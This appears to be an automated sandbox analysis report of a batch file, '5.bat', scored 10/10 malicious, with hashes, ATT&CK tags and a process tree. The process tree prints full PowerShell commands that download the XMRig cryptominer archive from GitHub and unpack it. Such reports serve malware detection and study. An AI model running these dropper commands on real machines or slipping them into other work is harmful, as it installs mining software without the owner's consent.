c0768ace239b9f133dfbb33d830ff9bf0580b167e2a6b0f015950f7aa2b1f768

Analysis

max time kernel
119s
max time network
122s
platform
windows7_x64
resource
win7-20240215-en
resource tags

arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
submitted
22-05-2024 02:54

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General

Target

5.bat
Size

599B
MD5

798b979417aa88e5323ead9be2d8425c
SHA1

a54c5133c71afddf697f302b36bdb930c72852ce
SHA256

f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
SHA512

a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

5 2224 powershell.exe
6 2224 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2684 powershell.exe
2224 powershell.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

2224 powershell.exe
2684 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2224 powershell.exe
Token: SeDebugPrivilege 2684 powershell.exe

flow	pid	process
5	2224	powershell.exe
6	2224	powershell.exe

pid	process
2684	powershell.exe
2224	powershell.exe

pid	process
2224	powershell.exe
2684	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2224	powershell.exe
Token: SeDebugPrivilege	2684	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2388 wrote to memory of 2224	2388	cmd.exe	powershell.exe
PID 2388 wrote to memory of 2224	2388	cmd.exe	powershell.exe
PID 2388 wrote to memory of 2224	2388	cmd.exe	powershell.exe
PID 2388 wrote to memory of 2684	2388	cmd.exe	powershell.exe
PID 2388 wrote to memory of 2684	2388	cmd.exe	powershell.exe
PID 2388 wrote to memory of 2684	2388	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\5.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2388

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2224

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2684

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\D145POKDDRYYMZ7JGX7F.temp

Filesize
7KB

MD5
ff1ed6723b2933692faf245c52464835

SHA1
6aa3099e32bf731cb122606ae992b80fa49d42be

SHA256
b5b275281883edbf5c1ff54abecaefcdb5877b33c9d92f37bd5e7a96938763c1

SHA512
b50dea5ecae2cb22bc4e219cf432f5c6ff0edf9d30265fe4f3fc2fff0277f28ca177b03958f1687358b09e99be19056e7a9833f32c3e3e3635ca48e37237e647

Download Submit
memory/2224-4-0x000007FEF5DBE000-0x000007FEF5DBF000-memory.dmp

Filesize
4KB

Download
memory/2224-6-0x000007FEF5B00000-0x000007FEF649D000-memory.dmp

Filesize
9.6MB

Download
memory/2224-5-0x000000001B680000-0x000000001B962000-memory.dmp

Filesize
2.9MB

Download
memory/2224-8-0x000007FEF5B00000-0x000007FEF649D000-memory.dmp

Filesize
9.6MB

Download
memory/2224-7-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/2224-9-0x000007FEF5B00000-0x000007FEF649D000-memory.dmp

Filesize
9.6MB

Download
memory/2224-10-0x000007FEF5B00000-0x000007FEF649D000-memory.dmp

Filesize
9.6MB

Download
memory/2224-11-0x000007FEF5B00000-0x000007FEF649D000-memory.dmp

Filesize
9.6MB

Download
memory/2224-12-0x000007FEF5B00000-0x000007FEF649D000-memory.dmp

Filesize
9.6MB

Download
memory/2684-18-0x000000001B600000-0x000000001B8E2000-memory.dmp

Filesize
2.9MB

Download
memory/2684-19-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download